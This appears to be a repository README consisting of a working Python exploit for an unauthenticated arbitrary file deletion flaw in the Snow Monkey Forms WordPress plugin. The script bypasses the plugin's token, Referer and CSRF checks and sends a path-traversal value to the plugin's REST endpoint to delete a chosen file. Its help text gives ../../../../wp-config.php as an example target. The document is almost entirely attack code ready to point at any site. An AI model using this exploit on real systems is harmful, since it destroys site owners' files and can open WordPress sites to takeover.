README.md
Rendering markdown...
import argparse
import requests
import sys
from urllib.parse import urlparse
# Banner
def banner():
print("""
###########################################################################
# Snow Monkey Forms - Unauthenticated Arbitrary File Deletion Exploit #
# Vulnerability: Path Traversal via 'formid' parameter #
# Impact: Critical (Unauthenticated file deletion) #
# Tested on: Snow Monkey Forms v12.0.3 #
###########################################################################
""")
def exploit(target_url, file_path):
# API Endpoint
api_endpoint = "/wp-json/snow-monkey-form/v1/view"
full_url = target_url.rstrip('/') + api_endpoint
# Parse target URL to construct valid Referer
parsed_uri = urlparse(target_url)
base_url = f"{parsed_uri.scheme}://{parsed_uri.netloc}/"
# 1. Bypass Regex Check for Token
# The plugin checks if the cookie token matches ^[a-z0-9]+$
# We set a static alphanumeric token.
cookies = {
"_snow-monkey-forms-token": "poc12345"
}
# 2. Bypass Referer Check
# The plugin checks if the Referer header starts with the site home URL.
headers = {
"User-Agent": "Mozilla/5.0 (Security Testing)",
"Referer": base_url
}
# 3. Payload Construction
# 'method': 'input' -> Bypasses the CSRF verification in View.php
# 'formid': The path traversal payload pointing to the file to delete.
# The base path is usually wp-content/uploads/smf-uploads/<token>/<formid>
# We use enough '../' to reach the root or target file.
data = {
"snow-monkey-forms-meta[method]": "input",
"snow-monkey-forms-meta[formid]": file_path
}
print(f"[*] Target: {full_url}")
print(f"[*] Target File Payload: {file_path}")
print(f"[*] Sending malicious request...")
try:
# Using verify=False to ignore SSL cert errors for testing
response = requests.post(full_url, cookies=cookies, headers=headers, data=data, verify=False)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] The server processed the 'input' method.")
print("[!] If the path was correct and write permissions allowed, the file should be deleted.")
print("[*] Server Response:", response.text)
elif response.status_code == 403:
print("[-] Failed: 403 Forbidden. The Referer check might have failed.")
else:
print(f"[-] Unexpected status code: {response.status_code}")
print(f"[-] Response: {response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Snow Monkey Forms Unauth File Deletion PoC")
parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress site (e.g., http://target.local)")
parser.add_argument("-f", "--file", required=True, help="Relative path to file to delete (e.g., ../../../../wp-config.php)")
args = parser.parse_args()
banner()
exploit(args.url, args.file)